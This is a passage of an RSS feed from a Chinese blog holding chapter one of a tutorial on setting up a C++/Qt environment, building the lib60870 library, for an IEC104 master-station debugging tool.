border-box;&quot;&gt;下期分享IEC104主站软件解析处理遥信、遥测数据。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 10 Sep 2025 11:55:25 +0800</pubDate></item><item><title>基于C++和Qt开发IEC104规约主站调试软件（第一章）</title><link>http://blog.write.yingkecut.cn/?id=26</link><description>&lt;div class=&quot;toc&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;h4&gt;第一章：开发环境搭建&lt;/h4&gt;&lt;ul class=&quot; list-paddingleft-2&quot; style=&quot;list-style-type: square;&quot;&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;一、开发前准备&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;二、搭建开发环境&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;三、创建Qt工程&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p style=&quot;text-align: left;&quot;&gt;四、导入态库文件和头文件&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;div class=&quot;toc&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;p style=&quot;text-align: left;&quot;&gt;五、总结&lt;/p&gt;&lt;/div&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;p&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;基于C++和Qt开发IEC104规约主站调试软件需要综合协议规范、多线程编程和GUI框架知识以及IEC104通讯规约相关知识，以下是分步骤实现方案：&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;strong style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;开发成果展示&lt;/strong&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;：&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://live.csdn.net/v/473582&quot; rel=&quot;nofollow&quot; style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;https://live.csdn.net/v/473582&lt;/a&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;/span&gt;&lt;br style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;/&gt;&lt;strong style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;IEC104通讯规约知识学习&lt;/strong&gt;&lt;span style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;：https://download.csdn.net/download/liangwwe0/90616493?spm=1011.2124.3001.6210&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;br/&gt;&lt;/p&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;_4&quot;&gt;&lt;/a&gt;一、开发前准备&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;a href=&quot;https://so.csdn.net/so/search?q=%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7&amp;spm=1001.2101.3001.7020&quot; target=&quot;_blank&quot; class=&quot;hl hl-1&quot; data-report-click=&quot;{&amp;quot;spm&amp;quot;:&amp;quot;1001.2101.3001.7020&amp;quot;,&amp;quot;dest&amp;quot;:&amp;quot;https://so.csdn.net/so/search?q=%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7&amp;amp;spm=1001.2101.3001.7020&amp;quot;,&amp;quot;extra&amp;quot;:&amp;quot;{\&amp;quot;searchword\&amp;quot;:\&amp;quot;开发工具\&amp;quot;}&amp;quot;}&quot; data-tit=&quot;开发工具&quot; data-pretit=&quot;开发工具&quot;&gt;开发工具&lt;/a&gt;：Windows10+Qt Creator&lt;br/&gt;开发语言：C++&lt;br/&gt;Qt版本：Qt5.15.2&lt;br/&gt;IEC104&lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;开源&quot; data-pretit=&quot;开源&quot;&gt;开源&lt;/span&gt;库：lib60870-2.3.1（下载地址：https://libiec61850.com/wp-content/uploads/2022/03/lib60870-2.3.1.tar.gz）&lt;/p&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;_10&quot;&gt;&lt;/a&gt;二、搭建开发环境&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;使用cmake3.26+VS2019编译lib60870-2.3.1开源库（需要安装&lt;span class=&quot;words-blog hl-git-1&quot; data-tit=&quot;cmake&quot; data-pretit=&quot;cmake&quot;&gt;cmake&lt;/span&gt;和vs2019），生成动态库文件，也可以直接将lib60870-2.3.1源码导入到Qt工程中直接开发。我这里是将lib60870-2.3.1开源库编译成了动态库，编译方法是首先使用cmake将lib60870-2.3.1开源库生成vs工程，使用vs2019打开工程编译直接生成动态库。&lt;br/&gt;&lt;strong&gt;1.cmake生成vs工程文件：&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114436175747587619460.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;br/&gt;&lt;strong&gt;2.使用vs编译开源库生成动态库文件&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114436175747587693531.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;br/&gt;在对应目录下生成了动态库lib60870.dll和静态库lib60870.lib，方便后面开发使用&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114436175747587633694.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;/p&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;Qt_18&quot;&gt;&lt;/a&gt;三、创建Qt工程&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;1.Qt编译器设置&lt;/strong&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114436175747587669152.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;br/&gt;&lt;strong&gt;2.工程创建&lt;/strong&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114437175747587731227.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;/p&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;_21&quot;&gt;&lt;/a&gt;四、导入态库文件和头文件&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;&lt;strong&gt;1.Qt工程中目录下创建lib文件夹存放库文件，创建inc文件存放头文件&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114437175747587791795.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;br/&gt;&lt;strong&gt;lib文件夹存放库文件&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114437175747587717230.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;br/&gt;&lt;strong&gt;inc文件夹存放头文件&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114437175747587752552.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;br/&gt;&lt;strong&gt;2.将头文件和库文件配置到Qt工程文件中&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114437175747587773393.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;br/&gt;&lt;strong&gt;3.引用开源库头文件&lt;/strong&gt;&lt;br/&gt;&lt;img src=&quot;http://blog.write.yingkecut.cn/zb_users/upload/2025/09/20250910114437175747587717101.png&quot; alt=&quot;在这里插入图片描述&quot;/&gt;&lt;/p&gt;&lt;h5 style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; text-wrap-mode: wrap;&quot;&gt;&lt;a id=&quot;_32&quot;&gt;&lt;/a&gt;五、总结&lt;/h5&gt;&lt;p style=&quot;font-family: &amp;quot;Noto Sans SC&amp;quot;; font-size: medium; text-wrap-mode: wrap;&quot;&gt;以上就完成了IEC104规约主站调试软件开发前期环境搭建工作，下期分享IEC104规约主站软件界面设计和通讯功能。&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</description><pubDate>Wed, 10 Sep 2025 11:43:43 +0800</pubDate></item></channel></rss>